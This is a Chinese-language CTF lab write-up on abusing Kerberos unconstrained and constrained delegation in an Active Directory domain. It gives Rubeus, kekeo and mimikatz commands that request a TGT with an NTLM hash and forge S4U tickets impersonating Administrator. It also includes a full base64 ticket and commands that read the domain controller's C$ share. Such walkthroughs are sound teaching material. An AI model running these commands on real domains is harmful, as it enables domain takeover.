一、攻击原理
1、非约束委派
用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。
2、非约束委派攻击原理
非约束委派攻击的本质是滥用 “服务可存储用户 TGT 并代其访问任意服务” 的信任逻辑,通过控制委派服务账户捕获 TGT,实现身份伪造和权限提升。
3、约束委派攻
约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。
4、约束委派攻攻击原理
如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们才可以伪造S4U请求,进而伪装成服务用户,以任意账户的权限来申请访问某服务的ST。比如service1配置了到DC的约束委派,就可以在service1上访问DC
参考文章:https://cloud.tencent.com/developer/article/1899592
二、利用工具
1、Rubeus
Rubeus 的默认构建配置是针对 .NET 3.5 的,在未安装该版本的系统上会失败。若要以 Rubeus for .NET 4 或 4.5 为目标,请打开 .sln 解决方案,转到 Rubeus项目 -> Rubeus 属性,并将“目标框架”更改为另一个版本,然后进行编译即可。


1、用Rubeus.exe申请用户MSSQLSERVER的TGT票据
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:b80972bb96e218609b29dfbd8f70c86b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

2、打开1.txt,复制票据的base64编码

3、通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2Uk620lEe7nwL1qraN4D/ynEfj4ntRTosrsYx97y29sug8qUkqUFioIDhw7fFeXeV963xDFN/UsMZsdBZPBA+bU9P1za0wASekR2IZsUj4hSau9k8VewIX02WoBAFadIZJmqU1eC+O1WmzaiaNOFVJnlqQTTjOVZA6OnwdkPc9ts5GbOXwO458tJ0I7fQA+2zvIEzMozOmZgkROZ2UeWmBMUHjZelFEQRTmWv5+1v7ge0T2qGYR0hZJmz4T90c86SV/E50TUotBxdIrJB2CKz8HkZvLuohazJK76AVzSKkAwUmIrxRUmvvSlZj5h44CmCvJd6Dktn6PH2lYBlNSGcZ4ZZ9tRa8rzlZLjjxeSKuaOAS1a/2SYyQMLi0qwgu75E8FbGqwD0ekQCMfeK+FkHtofckGAvYt+YoftPAO2d05BEALAkYM3BnUELM9WJYlV9LGAz5Uj5LgTqM4PRwp0yNpBvh8Qud2FQxs1FZuo2cV0TwGiX6U8BKAFbahqyzH8PAUKNRCeu8aZE/gxdG5lxdXPMBuW+bwT2aN2XYMxwtcBRabMRdsXPmHIaYtWRs6RheZMO0U9PR31mkXabexiasOQ7s07P4XbZiSr6Cua+FjwEQvnti7+RvkHO8ULR2td7DQul6AqsuiFucT5CnvzcSWTYcFxgPWSfuhfip917g5RjQ35TaX9udfUKC80t3lSK+Hja4gkhqNHm7BRje2kRnEY2/+K2ApM5s7liANWf4BHlDlu1EgoaGULGYw85AWm1nOkRCcch+m52sTt6q29HQ7I1glPpb4OMVTSq45nxEiR6QDnQd3RXHDBpAMqnoSy+rK+DAjpLdr6Wu1rt3n+Y7bLwTa6hkXA10IG0PPOMI/B/l8m5R+lRa/awSgFiwPsa9uwYIyJinafdir52KMYfwZJn7nmAEYwGVxRCqE69dNAQua5mHkDbkEes1rnMrPlVZ0USMZjO9EFG9yoLsNcMMopERNTkmkCklQih45NXg8sBwoIanZ/1UC905c0nei7/Rvc1qLBMPKQfv5JG4dSS1IEK5lRpSKL0Mrnqz8RJp3AQuRML4xRTagz7iSBeMovZGpz3vrKo/PtVozXHogdcB/s1VGuDlz+BCTB8E2xn7dkNy1uI+r3H92O4o0Az0fK1p6CRO4VqI0oNNdTPk7vwe4OqTuSUguc0KAVU/N1af2gL4Rvjde/dBaXyhZy3cWguytcwdEAwKg/BlXmMknfSLTzePowCJnxSMHHLkd5waYIzn5thlT2ye4lwbiHcZxqGI31yPfCve+MLL55M8bT2Ge6prBoTtg3aJLY5/4LncajZRQqXWueFku83NfTiwcZK5OtNy09mCIvhF+8WgSTc57d5zf2bTRdxwUMne3VpqXv4Gn77cyvWUGNok/5k2VaF9okMr7/bYI7mvq/4z2kLWHUB8oWudh+MncQrgvqBZrnHVgoE4k9obWwARV4ijgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBB+/XNKOcI8U/wMdLXZsE6GoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MTAxNjAxNTM1M1qmERgPMjAyNTEwMTYxMTUzNTNapxEYDzIwMjUxMDIzMDE1MzUzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

4、获取flag
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

2、kekeo
1、约束委派攻击,用kekeo请求该用户的TGT,生成本机票据名为TGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi
进入kekeo
tgt::ask /user:MSSQLSERVER$ /domain:xiaorang.lab /NTLM:b80972bb96e218609b29dfbd8f70c86b

2、利用该票据生成伪造administrator身份访问DC的LDAP约束委派服务票据,生成票据名为TGS_administrator@xiaorang.lab@XIAORANG.LAB_ldap~DC.xiaorang.lab@XIAORANG.LAB.kirbi
tgs::s4u /tgt:TGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi /user:administrator@xiaorang.lab /service:ldap/DC.xiaorang.lab

3、mimikatz将此票据导入本机,导入后可以访问DC
kerberos::ptt TGS_administrator@xiaorang.lab@XIAORANG.LAB_ldap~DC.xiaorang.lab@XIAORANG.LAB.kirbi

4、连接域控
net use \\DC.xiaorang.lab\C$

5、查看域控C盘下\Users\Administrator路径的文件结构
dir \\DC.xiaorang.lab\C$\Users\Administrator

6、获取flag文件内容
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
